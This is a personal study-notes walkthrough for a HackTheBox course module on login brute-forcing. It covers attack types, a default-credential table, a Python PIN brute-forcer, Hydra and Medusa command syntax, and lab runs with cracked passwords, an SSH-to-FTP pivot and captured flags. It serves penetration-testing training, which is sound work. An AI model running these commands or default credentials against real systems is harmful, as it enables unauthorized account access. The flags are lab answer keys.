> For the complete documentation index, see [llms.txt](https://vinayjango101.gitbook.io/vj/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://vinayjango101.gitbook.io/vj/hackthebox-cpts/login-bruteforcing.md).

# Login Bruteforcing

#### What is Hydra ?

Hydra is a fast network login cracker that supports numerous attack protocols. It is a versatile tool that can brute-force a wide range of services, including web applications, remote login services like SSH and FTP, and even databases.

## What is BruteForcing ?

Trying every possible combination until we find the correct combination of credentials is called is BruteForcing.

Success of BruteForcing Depends on the following factors :-

* Complexity
* Computational power
* Security measures

**How BruteForcing works ?**

`START` > `GENERATE POSSIBLE COMBINATIONS` > `APPLY COMBINATIONS` > `CHECK IF SUCCESSFUL` (`IF NOT AGAIN GENERATE POSSIBLE COMBINATIONS)>` ACCESS GRANTED`>`END\`

**Types of BruteForcing Attacks :-**

| Method                    | Description                                                                                                                   | Example                                                                                                                                                  | Best Used When...                                                                                                                           |
| ------------------------- | ----------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------- |
| `Simple Brute Force`      | Systematically tries all possible combinations of characters within a defined character set and length range.                 | Trying all combinations of lowercase letters from 'a' to 'z' for passwords of length 4 to 6.                                                             | No prior information about the password is available, and computational resources are abundant.                                             |
| `Dictionary Attack`       | Uses a pre-compiled list of common words, phrases, and passwords.                                                             | Trying passwords from a list like 'rockyou.txt' against a login form.                                                                                    | The target will likely use a weak or easily guessable password based on common patterns.                                                    |
| `Hybrid Attack`           | Combines elements of simple brute force and dictionary attacks, often appending or prepending characters to dictionary words. | Adding numbers or special characters to the end of words from a dictionary list.                                                                         | The target might use a slightly modified version of a common password.                                                                      |
| `Credential Stuffing`     | Leverages leaked credentials from one service to attempt access to other services, assuming users reuse passwords.            | Using a list of usernames and passwords leaked from a data breach to try logging into various online accounts.                                           | A large set of leaked credentials is available, and the target is suspected of reusing passwords across multiple services.                  |
| `Password Spraying`       | Attempts a small set of commonly used passwords against a large number of usernames.                                          | Trying passwords like 'password123' or 'qwerty' against all usernames in an organization.                                                                | Account lockout policies are in place, and the attacker aims to avoid detection by spreading attempts across multiple accounts.             |
| `Rainbow Table Attack`    | Uses pre-computed tables of password hashes to reverse hashes and recover plaintext passwords quickly.                        | Pre-computing hashes for all possible passwords of a certain length and character set, then comparing captured hashes against the table to find matches. | A large number of password hashes need to be cracked, and storage space for the rainbow tables is available.                                |
| `Reverse Brute Force`     | Targets a single password against multiple usernames, often used in conjunction with credential stuffing attacks.             | Using a leaked password from one service to try logging into multiple accounts with different usernames.                                                 | A strong suspicion exists that a particular password is being reused across multiple accounts.                                              |
| `Distributed Brute Force` | Distributes the brute forcing workload across multiple computers or devices to accelerate the process.                        | Using a cluster of computers to perform a brute-force attack significantly increases the number of combinations that can be tried per second.            | The target password or key is highly complex, and a single machine lacks the computational power to crack it within a reasonable timeframe. |

## Password Security Fundamentals :-

**The Anatomy of a Strong Password**

The `National Institute of Standards and Technology` (`NIST`) provides guidelines for creating strong passwords. These guidelines emphasise the following characteristics:

* Length - Minimum 12 characters
* Complexity - password length and the use of passphrases. (According to Recent NIST guidelines)
* Uniqueness - Do not reuse same password across multiple accounts
* Randomness - Avoid using dictionary words, personal information, or common phrases.

**Common Password Weaknesses**

* Short Passwords
* Common Words and Phrases
* Personal Information
* Reusing Passwords
* Predictable Patterns

### The Perils of Default Credentials

One critical aspect of password security often overlooked is the danger posed by `default passwords`. These pre-set passwords come with various devices, software, or online services. They are often simple and easily guessable, making them a prime target for attackers.

| Device/Manufacturer  | Default Username | Default Password | Device Type                  |
| -------------------- | ---------------- | ---------------- | ---------------------------- |
| Linksys Router       | admin            | admin            | Wireless Router              |
| D-Link Router        | admin            | admin            | Wireless Router              |
| Netgear Router       | admin            | password         | Wireless Router              |
| TP-Link Router       | admin            | admin            | Wireless Router              |
| Cisco Router         | cisco            | cisco            | Network Router               |
| Asus Router          | admin            | admin            | Wireless Router              |
| Belkin Router        | admin            | password         | Wireless Router              |
| Zyxel Router         | admin            | 1234             | Wireless Router              |
| Samsung SmartCam     | admin            | 4321             | IP Camera                    |
| Hikvision DVR        | admin            | 12345            | Digital Video Recorder (DVR) |
| Axis IP Camera       | root             | pass             | IP Camera                    |
| Ubiquiti UniFi AP    | ubnt             | ubnt             | Wireless Access Point        |
| Canon Printer        | admin            | admin            | Network Printer              |
| Honeywell Thermostat | admin            | 1234             | Smart Thermostat             |
| Panasonic DVR        | admin            | 12345            | Digital Video Recorder (DVR) |

## Brute Force Attacks

The following formula determines the total number of possible combinations for a password:

```
Possible Combinations = Character Set Size^Password Length

```

|                           | Password Length | Character Set                                         | Possible Combinations               |
| ------------------------- | --------------- | ----------------------------------------------------- | ----------------------------------- |
| `Short and Simple`        | 6               | Lowercase letters (a-z)                               | 26^6 = 308,915,776                  |
| `Longer but Still Simple` | 8               | Lowercase letters (a-z)                               | 26^8 = 208,827,064,576              |
| `Adding Complexity`       | 8               | Lowercase and uppercase letters (a-z, A-Z)            | 52^8 = 53,459,728,531,456           |
| `Maximum Complexity`      | 12              | Lowercase and uppercase letters, numbers, and symbols | 94^12 = 475,920,493,781,698,549,504 |

As you can see, even a slight increase in password length or the inclusion of additional character types dramatically expands the search space. This significantly increases the number of possible combinations that an attacker must try, making brute-forcing increasingly challenging and time-consuming. However, the time it takes to crack a password isn't just dependent on the size of the search space—it also hinges on the attacker's available computational power.

The more powerful the attacker's hardware (e.g., the number of GPUs, CPUs, or cloud-based computing resources they can utilize), the more password guesses they can make per second. While a complex password can take years to brute-force with a single machine, a sophisticated attacker using a distributed network of high-performance computing resources could reduce that time drastically.

![Bar chart comparing password cracking times for basic and super computers across different password complexities.](https://cdn.services-k8s.prod.aws.htb.systems/content/modules/57/powern.png)

The above chart illustrates an exponential relationship between password complexity and cracking time. As the password length increases and the character set expands, the total number of possible combinations grows exponentially. This significantly increases the time required to crack the password, even with powerful computing resources.

Comparing the basic computer and the supercomputer:

* Basic Computer (1 million passwords/second): Adequate for cracking simple passwords quickly but becomes impractically slow for complex passwords. For instance, cracking an 8-character password using letters and digits would take approximately 6.92 years.
* Supercomputer (1 trillion passwords/second): Drastically reduces cracking times for simpler passwords. However, even with this immense power, cracking highly complex passwords can take an impractical amount of time. For example, a 12-character password with all ASCII characters would still take about 15000 years to crack.

### Cracking the PIN

The instance application generates a random 4-digit PIN and exposes an endpoint (`/pin`) that accepts a PIN as a query parameter. If the provided PIN matches the generated one, the application responds with a success message and a flag. Otherwise, it returns an error message.

We will use this simple demonstration Python script to brute-force the `/pin` endpoint on the API. Copy and paste this Python script below as `pin-solver.py` onto your machine. You only need to modify the IP and port variables to match your target system information.

```
import requests

ip = "127.0.0.1"  # Change this to your instance IP address
port = 1234       # Change this to your instance port number

# Try every possible 4-digit PIN (from 0000 to 9999)
for pin in range(10000):
    formatted_pin = f"{pin:04d}"  # Convert the number to a 4-digit string (e.g., 7 becomes "0007")
    print(f"Attempted PIN: {formatted_pin}")

    # Send the request to the server
    response = requests.get(f"http://{ip}:{port}/pin?pin={formatted_pin}")

    # Check if the server responds with success and the flag is found
    if response.ok and 'flag' in response.json():  # .ok means status code is 200 (success)
        print(f"Correct PIN found: {formatted_pin}")
        print(f"Flag: {response.json()['flag']}")
        break
```

The Python script systematically iterates all possible 4-digit PINs (0000 to 9999) and sends GET requests to the Flask endpoint with each PIN. It checks the response status code and content to identify the correct PIN and capture the associated flag.

#### 1.After successfully brute-forcing the PIN, what is the full flag the script returns?

```
HTB{Brut3_F0rc3_1s_P0w3rfu1}
```

#### 2.After successfully brute-forcing the target using the script, what is the full flag the script returns?

```
HTB{Brut3_F0rc3_M4st3r}
```

## Hydra 

<figure><img src="https://653470127-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoutSwFwl1Hc40pkhm1lA%2Fuploads%2FP53Io31uPlRq7GXnSrV0%2FPasted%20image%2020260916201059.png?alt=media&amp;token=9cd02911-2bac-494b-9168-5676ade9e60d" alt=""><figcaption></figcaption></figure>

### Installation :-

```bash
sudo apt-get -y update 
sudo apt-get -y install hydra 
```

#### Basic Usage :-

For Help and Manual

```bash
hydra -h
```

```bash
man hydra 
```

#### Basic Syntax :-

```bash
hydra [login_options] [password_options] [attack_options] [service_options]
```

| Parameter               | Explanation                                                                                                | Usage Example                                                                                                   |
| ----------------------- | ---------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------- |
| `-l LOGIN` or `-L FILE` | Login options: Specify either a single username (`-l`) or a file containing a list of usernames (`-L`).    | `hydra -l admin ...` or `hydra -L usernames.txt ...`                                                            |
| `-p PASS` or `-P FILE`  | Password options: Provide either a single password (`-p`) or a file containing a list of passwords (`-P`). | `hydra -p password123 ...` or `hydra -P passwords.txt ...`                                                      |
| `-t TASKS`              | Tasks: Define the number of parallel tasks (threads) to run, potentially speeding up the attack.           | `hydra -t 4 ...`                                                                                                |
| `-f`                    | Fast mode: Stop the attack after the first successful login is found.                                      | `hydra -f ...`                                                                                                  |
| `-s PORT`               | Port: Specify a non-default port for the target service.                                                   | `hydra -s 2222 ...`                                                                                             |
| `-v` or `-V`            | Verbose output: Display detailed information about the attack's progress, including attempts and results.  | `hydra -v ...` or `hydra -V ...` (for even more verbosity)                                                      |
| `service://server`      | Target: Specify the service (e.g., `ssh`, `http`, `ftp`) and the target server's address or hostname.      | `hydra ssh://192.168.1.100`                                                                                     |
| `/OPT`                  | Service-specific options: Provide any additional options required by the target service.                   | `hydra http-get://example.com/login.php -m "POST:user=^USER^&pass=^PASS^"` (for HTTP form-based authentication) |

## Protocols Or Services supported by Hydra :-

| Hydra Service | Service/Protocol                 | Description                                                                                             | Example Command                                                                                                                     |
| ------------- | -------------------------------- | ------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------- |
| ftp           | File Transfer Protocol (FTP)     | Used to brute-force login credentials for FTP services, commonly used to transfer files over a network. | `hydra -l admin -P /path/to/password_list.txt ftp://192.168.1.100`                                                                  |
| ssh           | Secure Shell (SSH)               | Targets SSH services to brute-force credentials, commonly used for secure remote login to systems.      | `hydra -l root -P /path/to/password_list.txt ssh://192.168.1.100`                                                                   |
| http-get/post | HTTP Web Services                | Used to brute-force login credentials for HTTP web login forms using either GET or POST requests.       | `hydra -l admin -P /path/to/password_list.txt http://192.168.1.100 http-post-form "/login.php:user=^USER^&pass=^PASS^:F=incorrect"` |
| smtp          | Simple Mail Transfer Protocol    | Attacks email servers by brute-forcing login credentials for SMTP, commonly used to send emails.        | `hydra -l admin -P /path/to/password_list.txt smtp://mail.server.com`                                                               |
| pop3          | Post Office Protocol (POP3)      | Targets email retrieval services to brute-force credentials for POP3 login.                             | `hydra -l user@example.com -P /path/to/password_list.txt pop3://mail.server.com`                                                    |
| imap          | Internet Message Access Protocol | Used to brute-force credentials for IMAP services, which allow users to access their email remotely.    | `hydra -l user@example.com -P /path/to/password_list.txt imap://mail.server.com`                                                    |
| mysql         | MySQL Database                   | Attempts to brute-force login credentials for MySQL databases.                                          | `hydra -l root -P /path/to/password_list.txt mysql://192.168.1.100`                                                                 |
| mssql         | Microsoft SQL Server             | Targets Microsoft SQL servers to brute-force database login credentials.                                | `hydra -l sa -P /path/to/password_list.txt mssql://192.168.1.100`                                                                   |
| vnc           | Virtual Network Computing (VNC)  | Brute-forces VNC services, used for remote desktop access.                                              | `hydra -P /path/to/password_list.txt vnc://192.168.1.100`                                                                           |
| rdp           | Remote Desktop Protocol (RDP)    | Targets Microsoft RDP services for remote login brute-forcing.                                          | `hydra -l admin -P /path/to/password_list.txt rdp://192.168.1.100`                                                                  |

## Brute-Forcing HTTP Authentication :-

```bash
hydra -L usernames.txt -P passwords.txt www.example.com http-get
```

This command instructs Hydra to:

* Use the list of usernames from the `usernames.txt` file.
* Use the list of passwords from the `passwords.txt` file.
* Target the website `www.example.com`.
* Employ the `http-get` module to test the HTTP authentication.

## Targeting Multiple SSH Servers :-

Consider a situation where you have identified several servers that may be vulnerable to SSH brute-force attacks. You compile their IP addresses into a file named `targets.txt`

```bash
hydra -l root -p toor -M targets.txt ssh
```

This command instructs Hydra to:

* Use the username "root".
* Use the password "toor".
* Target all IP addresses listed in the `targets.txt` file.
* Employ the `ssh` module for the attack.

## Testing FTP Credentials on a Non-Standard Port :-

For a FTP Service Hosted at `ftp.example.com`\
with a non-standard port `2121` , with a list of usernames stored in `usernames.txt` and passwords in `passwords.txt` to test these creds against the FTP service use the following command.

```bash
hydra -L usernames.txt -P passwords.txt -s 2121 -V ftp.example.com ftp
```

This command instructs Hydra to:

* Use the list of usernames from the `usernames.txt` file.
* Use the list of passwords from the `passwords.txt` file.
* Target the FTP service on `ftp.example.com` via port `2121`.
* Use the `ftp` module and provide verbose output (`-V`) for detailed monitoring.

## Brute-Forcing a Web Login Form :-

&#x20;brute-forcing a login form on a web application at `www.example.com`. You know the username is "admin," and the form parameters for the login are `user=^USER^&pass=^PASS^`. To perform this attack, use the following Hydra command:

```bash
hydra -l admin -P passwords.txt www.example.com http-post-form "/login:user=^USER^&pass=^PASS^:S=302"
```

This command instructs Hydra to:

* Use the username "admin".
* Use the list of passwords from the `passwords.txt` file.
* Target the login form at `/login` on `www.example.com`.
* Employ the `http-post-form` module with the specified form parameters.
* Look for a successful login indicated by the HTTP status code `302`.

## Advanced RDP (Remote desktop protocol) Brute-Forcing :-

&#x20;imagine you're testing a Remote Desktop Protocol (RDP) service on a server with IP `192.168.1.100`. You suspect the username is "administrator," and that the password consists of 6 to 8 characters, including lowercase letters, uppercase letters, and numbers. To carry out this precise attack, use the following Hydra command

```bash
hydra -l administrator -x 6:8:abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 192.168.1.100 rdp
```

This command instructs Hydra to:

* Use the username "administrator".
* Generate and test passwords ranging from 6 to 8 characters, using the specified character set.
* Target the RDP service on `192.168.1.100`.
* Employ the `rdp` module for the attack.

## Basic HTTP Authentication :-

In essence, Basic Auth is a challenge-response protocol where a web server demands user credentials before granting access to protected resources. The process begins when a user attempts to access a restricted area. The server responds with a `401 Unauthorized` status and a `WWW-Authenticate` header prompting the user's browser to present a login dialog.

Once the user provides their username and password, the browser concatenates them into a single string, separated by a colon. This string is then encoded using Base64 and included in the `Authorization` header of subsequent requests, following the format `Basic <encoded_credentials>`. The server decodes the credentials, verifies them against its database, and grants or denies access accordingly.

For example, the headers for Basic Auth in a HTTP GET request would look like:

```http
GET /protected_resource HTTP/1.1 Host: www.example.com Authorization: Basic YWxpY2U6c2VjcmV0MTIz
```

## Exploiting Basic Auth with Hydra :-

```zsh
┌──(root👹kali)-[/home/vinay]
└─# hydra -l basic-auth-user -P passlist.txt 154.57.164.82 http-get / -s 32325

Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-09-17 18:19:14
[DATA] max 16 tasks per 1 server, overall 16 tasks, 200 login tries (l:1/p:200), ~13 tries per task
[DATA] attacking http-get://154.57.164.82:32325/

[32325][http-get] host: 154.57.164.82   login: basic-auth-user   password: Password@123

1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-09-17 18:19:17

```

Here

* `-l` is for username which we already were given `basic-auth-user`
* `-P` is for setting the password file list (<https://raw.githubusercontent.com/danielmiessler/SecLists/56a39ab9a70a89b56d66dad8bdffb887fba1260e/Passwords/2023-200_most_used_passwords.txt>).
* `154.57.164.82` is the target ip
* `http-get /` This tells Hydra that the target service is an HTTP server and the attack should be performed using HTTP GET requests to the root path ('/').
* `-s 32325` This overrides the default port for the HTTP service and sets it to 32325.

Screenshot From 2026-09-17 18-20-55.png

#### After successfully brute-forcing, and then logging into the target, what is the full flag you find?

```
HTB{th1s_1s_4_f4k3_fl4g}
```

## Login Forms

While login forms may appear as simple boxes soliciting your username and password, they represent a complex interplay of client-side and server-side technologies. At their core, login forms are essentially HTML forms embedded within a webpage. These forms typically include input fields (`<input>`) for capturing the username and password, along with a submit button (`<button>` or `<input type="submit">`) to initiate the authentication process.

## A Basic Login Form Example :-

Most Login forms follow a similar structure here's an example .

```html
<form action="/login" method="post">
  <label for="username">Username:</label>
  <input type="text" id="username" name="username"><br><br>
  <label for="password">Password:</label>
  <input type="password" id="password" name="password"><br><br>
  <input type="submit" value="Submit">
</form>
```

This form, when submitted, sends a POST request to the `/login` endpoint on the server, including the entered username and password as form data.

```http
POST /login HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

username=john&password=secret123
```

* The `POST` method indicates that data is being sent to the server to create or update a resource.
* `/login` is the URL endpoint handling the login request.
* The `Content-Type` header specifies how the data is encoded in the request body.
* The `Content-Length` header indicates the size of the data being sent.
* The request body contains the username and password, encoded as key-value pairs.

When a user interacts with a login form, their browser handles the initial processing. The browser captures the entered credentials, often employing JavaScript for client-side validation or input sanitization. Upon submission, the browser constructs an HTTP POST request. This request encapsulates the form data—including the username and password—within its body, often encoded as `application/x-www-form-urlencoded` or `multipart/form-data`.

## http-post-form :-

The general structure of a Hydra command using `http-post-form` looks like this:

```zsh
hydra [options] target http-post-form "path:params:condition_string"
```

#### Understanding the Condition String

Hydra primarily relies on failure conditions (`F=...`) to determine when a login attempt has failed, but you can also specify a success condition (`S=...`) to indicate when a login is successful.

For example, if a login form returns the message "Invalid credentials" on a failed attempt, you can configure Hydra like this:

```bash
hydra ... http-post-form "/login:user=^USER^&pass=^PASS^:F=Invalid credentials"
```

sometimes you may not have a clear failure message but instead have a distinct success condition. For instance, if the application redirects the user after a successful login (using HTTP status code `302`), or displays specific content (like "Dashboard" or "Welcome"), you can configure Hydra to look for that success condition using `S=`. Here’s an example where a successful login results in a 302 redirect:

```zsh
hydra ... http-post-form "/login:user=^USER^&pass=^PASS^:S=302"
```

In this case, Hydra will treat any response that returns an HTTP 302 status code as a successful login. Similarly, if a successful login results in content like "Dashboard" appearing on the page, you can configure Hydra to look for that keyword as a success condition:

```zsh
hydra ... http-post-form "/login:user=^USER^&pass=^PASS^:S=Dashboard"
```

Hydra will now register the login as successful if it finds the word "Dashboard" in the server’s response. Before unleashing Hydra on a login form, it's essential to gather intelligence on its inner workings. This involves pinpointing the exact parameters the form uses to transmit the username and password to the server.

## Manual Inspection :-

Using browser's Developer tools (Right-Clicking and Inspect ) to view underlying source code

```html
<form method="POST">
    <h2>Login</h2>
    <label for="username">Username:</label>
    <input type="text" id="username" name="username">
    <label for="password">Password:</label>
    <input type="password" id="password" name="password">
    <input type="submit" value="Login">
</form>
```

## After successfully brute-forcing, and then logging into the target, what is the full flag you find?

### Crafting the Command :-

<figure><img src="https://653470127-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoutSwFwl1Hc40pkhm1lA%2Fuploads%2FIDHe8NXPaVvJ5iEtHvsM%2Fimage.png?alt=media&amp;token=33ae17dc-1134-414f-9555-e9f30856ae08" alt=""><figcaption></figcaption></figure>

```zsh
┌──(root👹kali)-[/home/vinay]
└─# hydra -L unames.txt -P pass.txt -f 154.57.164.67 -s 30908 http-post-form "/:username=^USER^&password=^PASS^:F=Invalid credentials" 
```

wordlist used for username field - <https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Usernames/top-usernames-shortlist.txt>

wordlist used for password field - <https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Common-Credentials/2023-200_most_used_passwords.txt>

<figure><img src="https://653470127-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoutSwFwl1Hc40pkhm1lA%2Fuploads%2FU8bbo5rbdpVcZ7XXioZE%2Fimage.png?alt=media&amp;token=a11a398f-be50-4cfb-8545-28c68ce21d16" alt=""><figcaption></figcaption></figure>

<figure><img src="https://653470127-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoutSwFwl1Hc40pkhm1lA%2Fuploads%2FQtqTIv0Aigp6DdsVg6zY%2Fimage.png?alt=media&amp;token=34da38d5-6f44-477b-a868-9facba7924d4" alt=""><figcaption></figcaption></figure>

```
VALID CREDS FOUND:-  admin:zxcvbnm
```

After logging in we find the flag !!

```flag
HTB{W3b_L0gin_Brut3F0rc3}
```

## Medusa

![](https://www.kali.org/tools/medusa/images/medusa-logo.svg)

Fast, massively parallel, and modular login brute-forcer. Its primary objective is to support a wide array of services that allow remote authentication.

### Installation :-

```zsh
sudo apt-get -y update
sudo apt-get -y install medusa 
```

### Command Syntax and Parameters :-

```zsh
 medusa [target_options] [credential_options] -M module [module_options]
```

| Parameter                  | Explanation                                                                                                                              | Usage Example                                                                                                                                                      |
| -------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `-h HOST` or `-H FILE`     | Target options: Specify either a single target hostname or IP address (`-h`) or a file containing a list of targets (`-H`).              | `medusa -h 192.168.1.10 ...` or `medusa -H targets.txt ...`                                                                                                        |
| `-u USERNAME` or `-U FILE` | Username options: Provide either a single username (`-u`) or a file containing a list of usernames (`-U`).                               | `medusa -u admin ...` or `medusa -U usernames.txt ...`                                                                                                             |
| `-p PASSWORD` or `-P FILE` | Password options: Specify either a single password (`-p`) or a file containing a list of passwords (`-P`).                               | `medusa -p password123 ...` or `medusa -P passwords.txt ...`                                                                                                       |
| `-M MODULE`                | Module: Define the specific module to use for the attack (e.g., `ssh`, `ftp`, `http`).                                                   | `medusa -M ssh ...`                                                                                                                                                |
| `-m "MODULE_OPTION"`       | Module options: Provide additional parameters required by the chosen module, enclosed in quotes.                                         | `medusa -M http -m "POST /login.php HTTP/1.1\r\nContent-Length: 30\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nusername=^USER^&password=^PASS^" ...` |
| `-t TASKS`                 | Tasks: Define the number of parallel login attempts to run, potentially speeding up the attack.                                          | `medusa -t 4 ...`                                                                                                                                                  |
| `-f` or `-F`               | Fast mode: Stop the attack after the first successful login is found, either on the current host (`-f`) or any host (`-F`).              | `medusa -f ...` or `medusa -F ...`                                                                                                                                 |
| `-n PORT`                  | Port: Specify a non-default port for the target service.                                                                                 | `medusa -n 2222 ...`                                                                                                                                               |
| `-v LEVEL`                 | Verbose output: Display detailed information about the attack's progress. The higher the `LEVEL` (up to 6), the more verbose the output. | `medusa -v 4 ...`                                                                                                                                                  |

### Medusa Modules :-

| Medusa Module    | Service/Protocol                 | Description                                                                                 | Usage Example                                                                                                               |
| ---------------- | -------------------------------- | ------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------- |
| FTP              | File Transfer Protocol           | Brute-forcing FTP login credentials, used for file transfers over a network.                | `medusa -M ftp -h 192.168.1.100 -u admin -P passwords.txt`                                                                  |
| HTTP             | Hypertext Transfer Protocol      | Brute-forcing login forms on web applications over HTTP (GET/POST).                         | `medusa -M http -h www.example.com -U users.txt -P passwords.txt -m DIR:/login.php -m FORM:username=^USER^&password=^PASS^` |
| IMAP             | Internet Message Access Protocol | Brute-forcing IMAP logins, often used to access email servers.                              | `medusa -M imap -h mail.example.com -U users.txt -P passwords.txt`                                                          |
| MySQL            | MySQL Database                   | Brute-forcing MySQL database credentials, commonly used for web applications and databases. | `medusa -M mysql -h 192.168.1.100 -u root -P passwords.txt`                                                                 |
| POP3             | Post Office Protocol 3           | Brute-forcing POP3 logins, typically used to retrieve emails from a mail server.            | `medusa -M pop3 -h mail.example.com -U users.txt -P passwords.txt`                                                          |
| RDP              | Remote Desktop Protocol          | Brute-forcing RDP logins, commonly used for remote desktop access to Windows systems.       | `medusa -M rdp -h 192.168.1.100 -u admin -P passwords.txt`                                                                  |
| SSHv2            | Secure Shell (SSH)               | Brute-forcing SSH logins, commonly used for secure remote access.                           | `medusa -M ssh -h 192.168.1.100 -u root -P passwords.txt`                                                                   |
| Subversion (SVN) | Version Control System           | Brute-forcing Subversion (SVN) repositories for version control.                            | `medusa -M svn -h 192.168.1.100 -u admin -P passwords.txt`                                                                  |
| Telnet           | Telnet Protocol                  | Brute-forcing Telnet services for remote command execution on older systems.                | `medusa -M telnet -h 192.168.1.100 -u admin -P passwords.txt`                                                               |
| VNC              | Virtual Network Computing        | Brute-forcing VNC login credentials for remote desktop access.                              | `medusa -M vnc -h 192.168.1.100 -P passwords.txt`                                                                           |
| Web Form         | Brute-forcing Web Login Forms    | Brute-forcing login forms on websites using HTTP POST requests.                             | `medusa -M web-form -h www.example.com -U users.txt -P passwords.txt -m FORM:"username=^USER^&password=^PASS^:F=Invalid"`   |

### Example Use Cases :-

#### Targeting an SSH Server

```zsh
medusa -h 192.168.0.100 -U usernames.txt -P passwords.txt -M ssh
```

#### Targeting Multiple Web Servers with Basic HTTP Authentication

```zsh
medusa -H web_servers.txt -U usernames.txt -P passwords.txt -M http -m GET 
```

#### Testing for Empty or Default Passwords

```zsh
medusa -h 10.0.0.5 -U usernames.txt -e ns -M service_name
```

## Web Services (Practice) :-

### Kick Off

Target IP :-

```http
154.57.164.82:30896
```

```zsh
┌──(root👹kali)-[/home/vinay]
└─# medusa -h 154.57.164.82 -n 30896 -u sshuser -P wordlists/seclists/Passwords/Common-Credentials/2023-200_most_used_passwords.txt -M ssh -t 3
```

```zsh
2026-09-22 21:55:42 ACCOUNT FOUND: [ssh] Host: 154.57.164.82 User: sshuser Password: 1q2w3e4r5t [SUCCESS]
```

* `-h <IP>`: Specifies the target system's IP address.
* `-n <PORT>`: Defines the port on which the SSH service is listening (typically port 22).
* `-u sshuser`: Sets the username for the brute-force attack.
* `-P 2023-200_most_used_passwords.txt`: Points Medusa to a wordlist containing the 200 most commonly used passwords in 2023. The effectiveness of a brute-force attack is often tied to the quality and relevance of the wordlist used.
* `-M ssh`: Selects the SSH module within Medusa, tailoring the attack specifically for SSH authentication.
* `-t 3`: Dictates the number of parallel login attempts to execute concurrently. Increasing this number can speed up the attack but may also increase the likelihood of detection or triggering security measures on the target system.

### Gaining Access

<figure><img src="https://653470127-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoutSwFwl1Hc40pkhm1lA%2Fuploads%2FXxZgne71oUSsytkhXBsI%2Fimage.png?alt=media&amp;token=b1a75f2b-f89f-4c02-b60c-dff3bee4db7b" alt=""><figcaption></figcaption></figure>

```zsh
┌──(root👹kali)-[/home/vinay]
└─# ssh sshuser@154.57.164.82 -p 30896
```

### Expanding the Attack Surface

```zsh
sshuser@ng-1407496-loginbfservice-jeosc-594b8f648-fz64n:~$ netstat -tulpn | grep LISTEN 


(No info could be read for "-p": geteuid()=1000 but you should be root.)
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::21                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -  
```

Using `netstat` (within the SSH session) to list open ports and listening services, we discover a service running on port 21.

Further reconnaissance with `nmap` (within the SSH session) confirms this finding as an ftp server.

```zsh
sshuser@ng-1407496-loginbfservice-jeosc-594b8f648-fz64n:~$ nmap localhost

Starting Nmap 7.80 ( https://nmap.org ) at 2026-09-22 16:38 UTC
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00015s latency).
Other addresses for localhost (not scanned): ::1
Not shown: 998 closed ports
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh

Nmap done: 1 IP address (1 host up) scanned in 0.06 seconds
```

### Targeting the FTP Server

<figure><img src="https://653470127-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoutSwFwl1Hc40pkhm1lA%2Fuploads%2FAXf6FV1rdRYOVnZgtQWK%2Fimage.png?alt=media&amp;token=50daef10-c95a-41c5-8855-2ace47fd3fae" alt=""><figcaption></figcaption></figure>

Besides the nmap scan , when we check the home directory we can see that there is another user present named `ftpuser` , which implies the likelihood of the FTP server's username being `ftpuser`.

```zsh
sshuser@ng-1407496-loginbfservice-jeosc-594b8f648-fz64n:~$ `
> -Lscp /home/vinay/2023-200_most_used_passwords.txt /home/sshuser/ 
> `
```

to remotely upload the password file for Medusa we can use the **`~`** and press enter , then use

`-Lscp /path/to/2023-200_most_used_passwords.txt /home/sshuser/`

the password file will be uploaded in the background then use **`~`** again and press enter to get back to normal ssh session.

Now,

we can modify our Medusa command accordingly to attack ftp server now .

```zsh
sshuser@ng-1407496-loginbfservice-jeosc-594b8f648-fz64n:~$ medusa -h 127.0.0.1 -u ftpuser -P 2020-200_most_used_passwords.txt -M ftp -t 5
```

<figure><img src="https://653470127-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoutSwFwl1Hc40pkhm1lA%2Fuploads%2F4RhAfbpQMySXd8d9oZDB%2Fimage.png?alt=media&amp;token=ff5645ef-1ef4-433d-96b3-d489fa69d88f" alt=""><figcaption></figcaption></figure>

And we get a Hit !

```zsh
ACCOUNT FOUND: [ftp] Host: 127.0.0.1 User: ftpuser Password: qqww1122 [SUCCESS]
```

* `-h 127.0.0.1`: Targets the local system, as the FTP server is running locally. Using the IP address tells medusa explicitly to use IPv4.
* `-u ftpuser`: Specifies the username `ftpuser`.
* `-M ftp`: Selects the FTP module within Medusa.
* `-t 5`: Increases the number of parallel login attempts to 5.

### Retrieving The Flag

Upon successfully cracking the FTP password, establish an FTP connection. Within the FTP session, use the `get` command to download the `flag.txt` file, which may contain sensitive information.

```zsh
sshuser@ng-1407496-loginbfservice-jeosc-594b8f648-fz64n:~$ ftp ftp://ftpuser:qqww1122@localhost
```

```zsh
get flag.txt
```

